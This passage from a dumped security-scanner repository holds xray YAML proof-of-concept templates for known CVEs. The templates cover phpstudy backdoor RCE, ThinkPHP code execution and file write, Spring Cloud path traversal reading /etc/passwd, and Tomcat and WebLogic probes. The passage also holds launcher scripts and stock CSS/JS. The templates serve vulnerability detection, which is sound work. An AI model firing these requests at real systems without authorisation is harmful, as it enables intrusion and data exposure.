Jarcis-cy(https://github.com/Jarcis-cy) 28 | links: 29 | - https://github.com/vulhub/vulhub/blob/master/laravel/CVE-2021-3129 30 | -------------------------------------------------------------------------------- /poc/xray/pocs/phpstudy-backdoor-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-phpstudy-backdoor-rce 2 | manual: true 3 | transport: http 4 | set: 5 | r: randomLowercase(6) 6 | payload: base64("printf(md5('" + r + "'));") 7 | rules: 8 | r0: 9 | request: 10 | cache: true 11 | method: GET 12 | path: /index.php 13 | headers: 14 | Accept-Charset: '{{payload}}' 15 | Accept-Encoding: gzip,deflate 16 | follow_redirects: false 17 | expression: response.body.bcontains(bytes(md5(r))) 18 | expression: r0() 19 | detail: 20 | author: 17bdw 21 | links: 22 | - https://www.freebuf.com/column/214946.html 23 | Affected Version: phpstudy 2016-phpstudy 2018 php 5.2 php 5.4 24 | vuln_url: php_xmlrpc.dll 25 | -------------------------------------------------------------------------------- /poc/xray/pocs/spring-cloud-cve-2020-5410.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-spring-cloud-cve-2020-5410 2 | manual: true 3 | transport: http 4 | rules: 5 | r0: 6 | request: 7 | cache: true 8 | method: GET 9 | path: /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a 10 | expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) 11 | expression: r0() 12 | detail: 13 | author: Soveless(https://github.com/Soveless) 14 | links: 15 | - https://xz.aliyun.com/t/7877 16 | Affected Version: Spring Cloud Config 2.2.x < 2.2.3, 2.1.x < 2.1.9 17 | -------------------------------------------------------------------------------- /poc/xray/pocs/springcloud-cve-2019-3799.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-springcloud-cve-2019-3799 2 | manual: true 3 | transport: http 4 | rules: 5 | r0: 6 | request: 7 | cache: true 8 | method: GET 9 | path: /test/pathtraversal/master/..%252F..%252F..%252F..%252F..%252F..%252Fetc%252fpasswd 10 | follow_redirects: true 11 | expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) 12 | expression: r0() 13 | detail: 14 | author: Loneyer 15 | links: 16 | - https://github.com/Loneyers/vuldocker/tree/master/spring/CVE-2019-3799 17 | version: <2.1.2, 2.0.4, 1.4.6 18 | -------------------------------------------------------------------------------- /poc/xray/pocs/thinkphp-v6-file-write.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-thinkphp-v6-file-write 2 | manual: true 3 | transport: http 4 | set: 5 | f1: randomInt(800000000, 900000000) 6 | rules: 7 | r0: 8 | request: 9 | cache: true 10 | method: GET 11 | path: /{{f1}}.php 12 | follow_redirects: true 13 | expression: response.status == 404 14 | r1: 15 | request: 16 | cache: true 17 | method: GET 18 | path: / 19 | headers: 20 | Cookie: PHPSESSID=../../../../public/{{f1}}.php 21 | follow_redirects: true 22 | expression: response.status == 200 && "set-cookie" in response.headers && response.headers["set-cookie"].contains(string(f1)) 23 | r2: 24 | request: 25 | cache: true 26 | method: GET 27 | path: /{{f1}}.php 28 | follow_redirects: true 29 | expression: response.status == 200 && response.content_type.contains("text/html") 30 | expression: r0() && r1() && r2() 31 | detail: 32 | author: Loneyer 33 | links: 34 | - https://github.com/Loneyers/ThinkPHP6_Anyfile_operation_write 35 | Affected Version: Thinkphp 6.0.0 36 | -------------------------------------------------------------------------------- /poc/xray/pocs/thinkphp5-controller-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-thinkphp5-controller-rce 2 | manual: true 3 | transport: http 4 | rules: 5 | r0: 6 | request: 7 | cache: true 8 | method: GET 9 | path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91 10 | expression: response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129") 11 | expression: r0() 12 | detail: 13 | links: 14 | - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce 15 | -------------------------------------------------------------------------------- /poc/xray/pocs/thinkphp5023-method-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-thinkphp5023-method-rce 2 | manual: true 3 | transport: http 4 | rules: 5 | r0: 6 | request: 7 | cache: true 8 | method: POST 9 | path: /index.php?s=captcha 10 | headers: 11 | Content-Type: application/x-www-form-urlencoded 12 | body: | 13 | _method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1 14 | expression: response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu1") 15 | expression: r0() 16 | detail: 17 | links: 18 | - https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce 19 | -------------------------------------------------------------------------------- /poc/xray/pocs/tomcat-cve-2018-11759.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-tomcat-cve-2018-11759 2 | manual: true 3 | transport: http 4 | rules: 5 | r0: 6 | request: 7 | cache: true 8 | method: GET 9 | path: /jkstatus; 10 | follow_redirects: false 11 | expression: response.status == 200 && "JK Status Manager".bmatches(response.body) && "Listing Load Balancing Worker".bmatches(response.body) 12 | r1: 13 | request: 14 | cache: true 15 | method: GET 16 | path: /jkstatus;?cmd=dump 17 | follow_redirects: false 18 | expression: response.status == 200 && "ServerRoot=*".bmatches(response.body) 19 | expression: r0() && r1() 20 | detail: 21 | author: loneyer 22 | links: 23 | - https://github.com/immunIT/CVE-2018-11759 24 | -------------------------------------------------------------------------------- /poc/xray/pocs/weblogic-cve-2019-2618.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-weblogic-cve-2019-2618 2 | manual: true 3 | transport: http 4 | rules: 5 | r0: 6 | request: 7 | cache: true 8 | method: POST 9 | path: /bea_wls_deployment_internal/DeploymentService 10 | follow_redirects: false 11 | expression: response.status == 401 && (response.body.bcontains(bytes("No user name or password provided"))) 12 | expression: r0() 13 | detail: 14 | author: orleven 15 | links: 16 | - https://github.com/jas502n/cve-2019-2618 17 | -------------------------------------------------------------------------------- /poc/xray/pocs/weblogic-cve-2020-14750.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-weblogic-cve-2020-14750 2 | manual: true 3 | transport: http 4 | rules: 5 | r0: 6 | request: 7 | cache: true 8 | method: GET 9 | path: /console/images/%252E./console.portal 10 | follow_redirects: false 11 | expression: response.status == 302 && (response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console/jsp/common/NoJMX.jsp"))) 12 | expression: r0() 13 | detail: 14 | author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless) 15 | links: 16 | - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html 17 | weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 18 | -------------------------------------------------------------------------------- /poc/xray/pocs/weblogic-ssrf.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-weblogic-ssrf 2 | manual: true 3 | transport: http 4 | rules: 5 | r0: 6 | request: 7 | cache: true 8 | method: GET 9 | path: /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700 10 | headers: 11 | Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; 12 | follow_redirects: false 13 | expression: 'response.status == 200 && (response.body.bcontains(b"'127.1.1.1', port: '700'") || response.body.bcontains(b"Socket Closed"))' 14 | expression: r0() 15 | detail: {} 16 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | aio-pika==8.2.4 2 | aiohttp==3.8.1 3 | aiohttp-socks==0.7.1 4 | aiomysql==0.1.0 5 | aioredis==2.0.1 6 | aiormq==6.4.2 7 | aiosignal==1.2.0 8 | asgiref==3.5.0 9 | async-timeout==4.0.2 10 | attribdict==0.0.5 11 | attrs==21.4.0 12 | blinker==1.4 13 | Brotli==1.0.9 14 | certifi==2023.07.22 15 | cffi==1.15.0 16 | charset-normalizer==2.0.12 17 | click==8.1.2 18 | cryptography==36.0.2 19 | Flask==2.0.3 20 | Flask-SQLAlchemy==2.5.1 21 | frozenlist==1.3.0 22 | greenlet==1.1.2 23 | h11==0.13.0 24 | h2==4.1.0 25 | hpack==4.0.0 26 | hyperframe==6.0.1 27 | idna==3.3 28 | itsdangerous==2.1.2 29 | Jinja2==3.1.1 30 | kaitaistruct==0.9 31 | ldap3==2.9.1 32 | MarkupSafe==2.1.1 33 | mitmproxy==8.0.0 34 | msgpack==1.0.3 35 | multidict==6.0.2 36 | pamqp==3.2.1 37 | passlib==1.7.4 38 | protobuf==3.19.5 39 | publicsuffix2==2.20191221 40 | pyasn1==0.4.8 41 | pycparser==2.21 42 | pycryptodomex==3.14.1 43 | PyJWT==2.4.0 44 | PyMySQL==1.0.2 45 | pyOpenSSL==22.0.0 46 | pyparsing==3.0.8 47 | pyperclip==1.8.2 48 | python-socks==2.0.3 49 | PyYAML==6.0 50 | sortedcontainers==2.4.0 51 | SQLAlchemy==1.4.35 52 | tornado==6.1 53 | typing-extensions==4.2.0 54 | urwid==2.1.2 55 | Werkzeug==2.1.1 56 | wsproto==1.1.0 57 | yarl==1.7.2 58 | zstandard==0.17.0 59 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from argparse import ArgumentParser 7 | from lib.core.core import start_server 8 | 9 | def arg_set(parser): 10 | parser.add_argument('-lh', "--listen-host", action='store', help='Listen address', type=str) 11 | parser.add_argument('-lp', "--listen-port", action='store', help='Listen port', type=int) 12 | parser.add_argument("-d", "--debug", action='store_true', help="Run debug", default=False) 13 | parser.add_argument("-h", "--help", action='store_true', help="Show help", default=False) 14 | return parser 15 | 16 | if __name__ == '__main__': 17 | parser = ArgumentParser(add_help=False) 18 | parser = arg_set(parser) 19 | args = parser.parse_args() 20 | if args.help: 21 | parser.print_help() 22 | else: 23 | start_server(args) -------------------------------------------------------------------------------- /show/burpsuite_proxy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/show/burpsuite_proxy.png -------------------------------------------------------------------------------- /show/web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/show/web.png -------------------------------------------------------------------------------- /simple.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from argparse import ArgumentParser 7 | from lib.core.core import start_simple 8 | 9 | def arg_set(parser): 10 | parser.add_argument('-lh', "--listen-host", action='store', help='Listen address', type=str) 11 | parser.add_argument('-lp', "--listen-port", action='store', help='Listen port', type=int) 12 | parser.add_argument("-d", "--debug", action='store_true', help="Run debug", default=False) 13 | parser.add_argument("-t", "--test", action='store_true', help="Run test ", default=False) 14 | parser.add_argument("-h", "--help", action='store_true', help="Show help", default=False) 15 | return parser 16 | 17 | if __name__ == '__main__': 18 | parser = ArgumentParser(add_help=False) 19 | parser = arg_set(parser) 20 | args = parser.parse_args() 21 | if args.help: 22 | parser.print_help() 23 | else: 24 | start_simple(args) 25 | 26 | -------------------------------------------------------------------------------- /static/css/buttons.bootstrap.min.css: -------------------------------------------------------------------------------- 1 | div.dt-button-info{position:fixed;top:50%;left:50%;width:400px;margin-top:-100px;margin-left:-200px;background-color:white;border:2px solid #111;box-shadow:3px 3px 8px rgba(0,0,0,0.3);border-radius:3px;text-align:center;z-index:21}div.dt-button-info h2{padding:0.5em;margin:0;font-weight:normal;border-bottom:1px solid #ddd;background-color:#f3f3f3}div.dt-button-info>div{padding:1em}ul.dt-button-collection.dropdown-menu{display:block;z-index:2002;-webkit-column-gap:8px;-moz-column-gap:8px;-ms-column-gap:8px;-o-column-gap:8px;column-gap:8px}ul.dt-button-collection.dropdown-menu.fixed{position:fixed;top:50%;left:50%;margin-left:-75px;border-radius:0}ul.dt-button-collection.dropdown-menu.fixed.two-column{margin-left:-150px}ul.dt-button-collection.dropdown-menu.fixed.three-column{margin-left:-225px}ul.dt-button-collection.dropdown-menu.fixed.four-column{margin-left:-300px}ul.dt-button-collection.dropdown-menu>*{-webkit-column-break-inside:avoid;break-inside:avoid}ul.dt-button-collection.dropdown-menu.two-column{width:300px;padding-bottom:1px;-webkit-column-count:2;-moz-column-count:2;-ms-column-count:2;-o-column-count:2;column-count:2}ul.dt-button-collection.dropdown-menu.three-column{width:450px;padding-bottom:1px;-webkit-column-count:3;-moz-column-count:3;-ms-column-count:3;-o-column-count:3;column-count:3}ul.dt-button-collection.dropdown-menu.four-column{width:600px;padding-bottom:1px;-webkit-column-count:4;-moz-column-count:4;-ms-column-count:4;-o-column-count:4;column-count:4}div.dt-button-background{position:fixed;top:0;left:0;width:100%;height:100%;z-index:2001}@media screen and (max-width: 767px){div.dt-buttons{float:none;width:100%;text-align:center;margin-bottom:0.5em}div.dt-buttons a.btn{float:none}} -------------------------------------------------------------------------------- /static/css/cert.css: -------------------------------------------------------------------------------- 1 | .media { 2 | min-height: 110px; 3 | } 4 | .media svg { 5 | width: 64px; 6 | margin-right: 1rem !important; 7 | } 8 | 9 | .instructions { 10 | padding-top: 1rem; 11 | padding-bottom: 1rem; 12 | } 13 | 14 | /* CSS-only collapsible */ 15 | .show-instructions:target, .hide-instructions, .instructions { 16 | display: none; 17 | } 18 | .show-instructions:target ~ .hide-instructions { 19 | display: inline-block; 20 | } 21 | .show-instructions:target ~ .instructions { 22 | display: inherit; 23 | } 24 | 25 | .fa-apple { 26 | color: #666; 27 | } 28 | 29 | .fa-windows { 30 | color: #0078D7; 31 | } 32 | 33 | .fa-firefox-browser { 34 | color: #E25821; 35 | } 36 | 37 | .fa-android { 38 | margin-top: 10px; 39 | color: #3DDC84; 40 | } 41 | 42 | .fa-certificate { 43 | color: #FFBB00; 44 | } -------------------------------------------------------------------------------- /static/css/dataTables.bootstrap.min.css: -------------------------------------------------------------------------------- 1 | table.dataTable{clear:both;margin-top:6px !important;margin-bottom:6px !important;max-width:none !important;border-collapse:separate !important}table.dataTable td,table.dataTable th{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}table.dataTable td.dataTables_empty,table.dataTable th.dataTables_empty{text-align:center}table.dataTable.nowrap th,table.dataTable.nowrap td{white-space:nowrap}div.dataTables_wrapper div.dataTables_length label{font-weight:normal;text-align:left;white-space:nowrap}div.dataTables_wrapper div.dataTables_length select{width:75px;display:inline-block}div.dataTables_wrapper div.dataTables_filter{text-align:right}div.dataTables_wrapper div.dataTables_filter label{font-weight:normal;white-space:nowrap;text-align:left}div.dataTables_wrapper div.dataTables_filter input{margin-left:0.5em;display:inline-block;width:auto}div.dataTables_wrapper div.dataTables_info{padding-top:8px;white-space:nowrap}div.dataTables_wrapper div.dataTables_paginate{margin:0;white-space:nowrap;text-align:right}div.dataTables_wrapper div.dataTables_paginate ul.pagination{margin:2px 0;white-space:nowrap}div.dataTables_wrapper div.dataTables_processing{position:absolute;top:50%;left:50%;width:200px;margin-left:-100px;margin-top:-26px;text-align:center;padding:1em 0}table.dataTable thead>tr>th.sorting_asc,table.dataTable thead>tr>th.sorting_desc,table.dataTable thead>tr>th.sorting,table.dataTable thead>tr>td.sorting_asc,table.dataTable thead>tr>td.sorting_desc,table.dataTable thead>tr>td.sorting{padding-right:30px}table.dataTable thead>tr>th:active,table.dataTable thead>tr>td:active{outline:none}table.dataTable thead .sorting,table.dataTable thead .sorting_asc,table.dataTable thead .sorting_desc,table.dataTable thead .sorting_asc_disabled,table.dataTable thead .sorting_desc_disabled{cursor:pointer;position:relative}table.dataTable thead .sorting:after,table.dataTable thead .sorting_asc:after,table.dataTable thead .sorting_desc:after,table.dataTable thead .sorting_asc_disabled:after,table.dataTable thead .sorting_desc_disabled:after{position:absolute;bottom:8px;right:8px;display:block;font-family:'Glyphicons Halflings';opacity:0.5}table.dataTable thead .sorting:after{opacity:0.2;content:"\e150"}table.dataTable thead .sorting_asc:after{content:"\e155"}table.dataTable thead .sorting_desc:after{content:"\e156"}table.dataTable thead .sorting_asc_disabled:after,table.dataTable thead .sorting_desc_disabled:after{color:#eee}div.dataTables_scrollHead table.dataTable{margin-bottom:0 !important}div.dataTables_scrollBody table{border-top:none;margin-top:0 !important;margin-bottom:0 !important}div.dataTables_scrollBody table thead .sorting:after,div.dataTables_scrollBody table thead .sorting_asc:after,div.dataTables_scrollBody table thead .sorting_desc:after{display:none}div.dataTables_scrollBody table tbody tr:first-child th,div.dataTables_scrollBody table tbody tr:first-child td{border-top:none}div.dataTables_scrollFoot table{margin-top:0 !important;border-top:none}@media screen and (max-width: 767px){div.dataTables_wrapper div.dataTables_length,div.dataTables_wrapper div.dataTables_filter,div.dataTables_wrapper div.dataTables_info,div.dataTables_wrapper div.dataTables_paginate{text-align:center}}table.dataTable.table-condensed>thead>tr>th{padding-right:20px}table.dataTable.table-condensed .sorting:after,table.dataTable.table-condensed .sorting_asc:after,table.dataTable.table-condensed .sorting_desc:after{top:6px;right:6px}table.table-bordered.dataTable th,table.table-bordered.dataTable td{border-left-width:0}table.table-bordered.dataTable th:last-child,table.table-bordered.dataTable th:last-child,table.table-bordered.dataTable td:last-child,table.table-bordered.dataTable td:last-child{border-right-width:0}table.table-bordered.dataTable tbody th,table.table-bordered.dataTable tbody td{border-bottom-width:0}div.dataTables_scrollHead table.table-bordered{border-bottom-width:0}div.table-responsive>div.dataTables_wrapper>div.row{margin:0}div.table-responsive>div.dataTables_wrapper>div.row>div[class^="col-"]:first-child{padding-left:0}div.table-responsive>div.dataTables_wrapper>div.row>div[class^="col-"]:last-child{padding-right:0} -------------------------------------------------------------------------------- /static/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /static/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /static/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /static/fonts/responsive.bootstrap.min.css: -------------------------------------------------------------------------------- 1 | table.dataTable.dtr-inline.collapsed>tbody>tr>td.child,table.dataTable.dtr-inline.collapsed>tbody>tr>th.child,table.dataTable.dtr-inline.collapsed>tbody>tr>td.dataTables_empty{cursor:default !important}table.dataTable.dtr-inline.collapsed>tbody>tr>td.child:before,table.dataTable.dtr-inline.collapsed>tbody>tr>th.child:before,table.dataTable.dtr-inline.collapsed>tbody>tr>td.dataTables_empty:before{display:none !important}table.dataTable.dtr-inline.collapsed>tbody>tr>td:first-child,table.dataTable.dtr-inline.collapsed>tbody>tr>th:first-child{position:relative;padding-left:30px;cursor:pointer}table.dataTable.dtr-inline.collapsed>tbody>tr>td:first-child:before,table.dataTable.dtr-inline.collapsed>tbody>tr>th:first-child:before{top:9px;left:4px;height:14px;width:14px;display:block;position:absolute;color:white;border:2px solid white;border-radius:14px;box-shadow:0 0 3px #444;box-sizing:content-box;text-align:center;font-family:'Courier New', Courier, monospace;line-height:14px;content:'+';background-color:#337ab7}table.dataTable.dtr-inline.collapsed>tbody>tr.parent>td:first-child:before,table.dataTable.dtr-inline.collapsed>tbody>tr.parent>th:first-child:before{content:'-';background-color:#d33333}table.dataTable.dtr-inline.collapsed>tbody>tr.child td:before{display:none}table.dataTable.dtr-inline.collapsed.compact>tbody>tr>td:first-child,table.dataTable.dtr-inline.collapsed.compact>tbody>tr>th:first-child{padding-left:27px}table.dataTable.dtr-inline.collapsed.compact>tbody>tr>td:first-child:before,table.dataTable.dtr-inline.collapsed.compact>tbody>tr>th:first-child:before{top:5px;left:4px;height:14px;width:14px;border-radius:14px;line-height:14px;text-indent:3px}table.dataTable.dtr-column>tbody>tr>td.control,table.dataTable.dtr-column>tbody>tr>th.control{position:relative;cursor:pointer}table.dataTable.dtr-column>tbody>tr>td.control:before,table.dataTable.dtr-column>tbody>tr>th.control:before{top:50%;left:50%;height:16px;width:16px;margin-top:-10px;margin-left:-10px;display:block;position:absolute;color:white;border:2px solid white;border-radius:14px;box-shadow:0 0 3px #444;box-sizing:content-box;text-align:center;font-family:'Courier New', Courier, monospace;line-height:14px;content:'+';background-color:#337ab7}table.dataTable.dtr-column>tbody>tr.parent td.control:before,table.dataTable.dtr-column>tbody>tr.parent th.control:before{content:'-';background-color:#d33333}table.dataTable>tbody>tr.child{padding:0.5em 1em}table.dataTable>tbody>tr.child:hover{background:transparent !important}table.dataTable>tbody>tr.child ul{display:inline-block;list-style-type:none;margin:0;padding:0}table.dataTable>tbody>tr.child ul li{border-bottom:1px solid #efefef;padding:0.5em 0}table.dataTable>tbody>tr.child ul li:first-child{padding-top:0}table.dataTable>tbody>tr.child ul li:last-child{border-bottom:none}table.dataTable>tbody>tr.child span.dtr-title{display:inline-block;min-width:75px;font-weight:bold}div.dtr-modal{position:fixed;box-sizing:border-box;top:0;left:0;height:100%;width:100%;z-index:100;padding:10em 1em}div.dtr-modal div.dtr-modal-display{position:absolute;top:0;left:0;bottom:0;right:0;width:50%;height:50%;overflow:auto;margin:auto;z-index:102;overflow:auto;background-color:#f5f5f7;border:1px solid black;border-radius:0.5em;box-shadow:0 12px 30px rgba(0,0,0,0.6)}div.dtr-modal div.dtr-modal-content{position:relative;padding:1em}div.dtr-modal div.dtr-modal-close{position:absolute;top:6px;right:6px;width:22px;height:22px;border:1px solid #eaeaea;background-color:#f9f9f9;text-align:center;border-radius:3px;cursor:pointer;z-index:12}div.dtr-modal div.dtr-modal-close:hover{background-color:#eaeaea}div.dtr-modal div.dtr-modal-background{position:fixed;top:0;left:0;right:0;bottom:0;z-index:101;background:rgba(0,0,0,0.6)}@media screen and (max-width: 767px){div.dtr-modal div.dtr-modal-display{width:95%}}div.dtr-bs-modal table.table tr:first-child td{border-top:none} -------------------------------------------------------------------------------- /static/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/img/favicon.ico -------------------------------------------------------------------------------- /static/img/img.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/img/img.jpg -------------------------------------------------------------------------------- /static/img/sort_asc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/img/sort_asc.png -------------------------------------------------------------------------------- /static/img/sort_both.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/img/sort_both.png -------------------------------------------------------------------------------- /static/js/buttons.bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | Bootstrap integration for DataTables' Buttons 3 | ©2016 SpryMedia Ltd - datatables.net/license 4 | */ 5 | (function(c){"function"===typeof define&&define.amd?define(["jquery","datatables.net-bs","datatables.net-buttons"],function(a){return c(a,window,document)}):"object"===typeof exports?module.exports=function(a,b){a||(a=window);if(!b||!b.fn.dataTable)b=require("datatables.net-bs")(a,b).$;b.fn.dataTable.Buttons||require("datatables.net-buttons")(a,b);return c(b,a,a.document)}:c(jQuery,window,document)})(function(c){var a=c.fn.dataTable;c.extend(!0,a.Buttons.defaults,{dom:{container:{className:"dt-buttons btn-group"}, 6 | button:{className:"btn btn-default"},collection:{tag:"ul",className:"dt-button-collection dropdown-menu",button:{tag:"li",className:"dt-button"},buttonLiner:{tag:"a",className:""}}}});a.ext.buttons.collection.text=function(a){return a.i18n("buttons.collection",'Collection <span class="caret"/>')};return a.Buttons}); -------------------------------------------------------------------------------- /static/js/custom.min.js: -------------------------------------------------------------------------------- 1 | !function (a) { 2 | jQuery.fn[a] = function (e) { 3 | return e ? this.bind('resize', (t = e, function () { 4 | var e = this, 5 | a = arguments; 6 | i ? clearTimeout(i) : n && t.apply(e, a), 7 | i = setTimeout(function () { 8 | n || t.apply(e, a), 9 | i = null 10 | }, o || 100) 11 | })) : this.trigger(a); 12 | var t, 13 | o, 14 | n, 15 | i 16 | } 17 | }((jQuery, 'smartresize')); 18 | function init_sidebar() { 19 | var CURRENT_URL = window.location.href.split('#') [0].split('?') [0]; 20 | 21 | function t() { 22 | $('.right_col').css('min-height', $(window).height()); 23 | var e = $('body').outerHeight(), 24 | a = $('body').hasClass('footer_fixed') ? -10 : $('footer').height(), 25 | t = $('.left_col').eq(1).height() + $('.sidebar-footer').height(), 26 | o = e < t ? t : e; 27 | o -= $('.nav_menu').height() + a, 28 | $('.right_col').css('min-height', o) 29 | } 30 | 31 | function o() { 32 | $('#sidebar-menu').find('li').removeClass('active active-sm'), 33 | $('#sidebar-menu').find('li ul').slideUp() 34 | } 35 | 36 | $('#sidebar-menu').find('a').on('click', function (e) { 37 | var a = $(this).parent(); 38 | a.is('.active') ? (a.removeClass('active active-sm'), $('ul:first', a).slideUp(function () { 39 | t() 40 | })) : (a.parent().is('.child_menu') ? $('body').is('nav-sm') && (a.parent().is('child_menu') || o()) : o(), a.addClass('active'), $('ul:first', a).slideDown(function () { 41 | t() 42 | })) 43 | }), 44 | $('#menu_toggle').on('click', function () { 45 | $('body').hasClass('nav-md') ? ($('#sidebar-menu').find('li.active ul').hide(), $('#sidebar-menu').find('li.active').addClass('active-sm').removeClass('active')) : ($('#sidebar-menu').find('li.active-sm ul').show(), $('#sidebar-menu').find('li.active-sm').addClass('active').removeClass('active-sm')), 46 | $('body').toggleClass('nav-md nav-sm'), 47 | t(), 48 | $('.dataTable').each(function () { 49 | $(this).dataTable().fnDraw() 50 | }) 51 | }), 52 | $('#sidebar-menu').find('a[href="' + CURRENT_URL + '"]').parent('li').addClass('current-page'), 53 | $('#sidebar-menu').find('a').filter(function () { 54 | return this.href == CURRENT_URL 55 | }).parent('li').addClass('current-page').parents('ul').slideDown(function () { 56 | t() 57 | }).parent().addClass('active'), 58 | $(window).smartresize(function () { 59 | t() 60 | }), 61 | t(), 62 | $.fn.mCustomScrollbar && $('.menu_fixed').mCustomScrollbar({ 63 | autoHideScrollbar: !0, 64 | theme: 'minimal', 65 | mouseWheel: { 66 | preventDefault: !0 67 | } 68 | }) 69 | }; 70 | $.fn.dataTable.render.ellipsis = function (cutoff, wordbreak, escapeHtml) { 71 | var esc = function (t) { 72 | return t 73 | .replace(/&/g, '&') 74 | .replace(/</g, '<') 75 | .replace(/>/g, '>') 76 | .replace(/"/g, '"'); 77 | }; 78 | return function (d, type, row) { 79 | // Order, search and type get the original data 80 | if (type !== 'display') { 81 | return d; 82 | } 83 | if (typeof d !== 'number' && typeof d !== 'string') { 84 | return d; 85 | } 86 | d = d.toString(); // cast numbers 87 | if (d.length <= cutoff) { 88 | return d; 89 | } 90 | var shortened = d.substr(0, cutoff - 1); 91 | // Find the last white space character in the string 92 | if (wordbreak) { 93 | shortened = shortened.replace(/\s([^\s]*)$/, ''); 94 | } 95 | // Protect against uncontrolled HTML input 96 | if (escapeHtml) { 97 | shortened = esc(shortened); 98 | } 99 | return '<span class="ellipsis" title="' + esc(d) + '">' + shortened + '…</span>'; 100 | }; 101 | }; 102 | $(document).ready(function () { 103 | init_sidebar() 104 | }); -------------------------------------------------------------------------------- /static/js/dataTables.bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | DataTables Bootstrap 3 integration 3 | ©2011-2015 SpryMedia Ltd - datatables.net/license 4 | */ 5 | (function(b){"function"===typeof define&&define.amd?define(["jquery","datatables.net"],function(a){return b(a,window,document)}):"object"===typeof exports?module.exports=function(a,d){a||(a=window);if(!d||!d.fn.dataTable)d=require("datatables.net")(a,d).$;return b(d,a,a.document)}:b(jQuery,window,document)})(function(b,a,d){var f=b.fn.dataTable;b.extend(!0,f.defaults,{dom:"<'row'<'col-sm-6'l><'col-sm-6'f>><'row'<'col-sm-12'tr>><'row'<'col-sm-5'i><'col-sm-7'p>>",renderer:"bootstrap"});b.extend(f.ext.classes, 6 | {sWrapper:"dataTables_wrapper container-fluid dt-bootstrap",sFilterInput:"form-control input-sm",sLengthSelect:"form-control input-sm",sProcessing:"dataTables_processing panel panel-default"});f.ext.renderer.pageButton.bootstrap=function(a,h,r,m,j,n){var o=new f.Api(a),s=a.oClasses,k=a.oLanguage.oPaginate,t=a.oLanguage.oAria.paginate||{},e,g,p=0,q=function(d,f){var l,h,i,c,m=function(a){a.preventDefault();!b(a.currentTarget).hasClass("disabled")&&o.page()!=a.data.action&&o.page(a.data.action).draw("page")}; 7 | l=0;for(h=f.length;l<h;l++)if(c=f[l],b.isArray(c))q(d,c);else{g=e="";switch(c){case "ellipsis":e="…";g="disabled";break;case "first":e=k.sFirst;g=c+(0<j?"":" disabled");break;case "previous":e=k.sPrevious;g=c+(0<j?"":" disabled");break;case "next":e=k.sNext;g=c+(j<n-1?"":" disabled");break;case 